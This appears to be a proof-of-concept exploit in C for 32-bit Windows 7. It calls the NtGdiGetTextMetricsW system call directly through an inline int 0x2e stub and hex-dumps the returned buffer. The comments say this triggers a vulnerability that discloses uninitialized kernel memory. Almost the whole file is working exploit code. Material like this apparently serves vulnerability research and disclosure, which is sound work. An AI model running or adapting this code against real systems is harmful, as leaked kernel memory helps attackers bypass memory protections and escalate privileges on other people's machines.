1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiGetTextMetricsW = 0x10d9;

  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Get a handle to the stock font.
  HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT);
  if (hfont == NULL) {
    printf("GetCurrentObject failed\n");
    return 1;
  }

  // Select the font into the DC.
  SelectObject(hdc, hfont);

  // Trigger the vulnerability and dump the kernel output on stdout.
  BYTE output[0x44] = { /* zero padding */ };
  if (!SystemCall32(__NR_NtGdiGetTextMetricsW, hdc, output, sizeof(output))) {
    printf("NtGdiGetTextMetricsW failed\n");
    DeleteObject(hfont);
    DeleteDC(hdc);
    return 1;
  }

  PrintHex(output, sizeof(output));

  // Free resources.
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}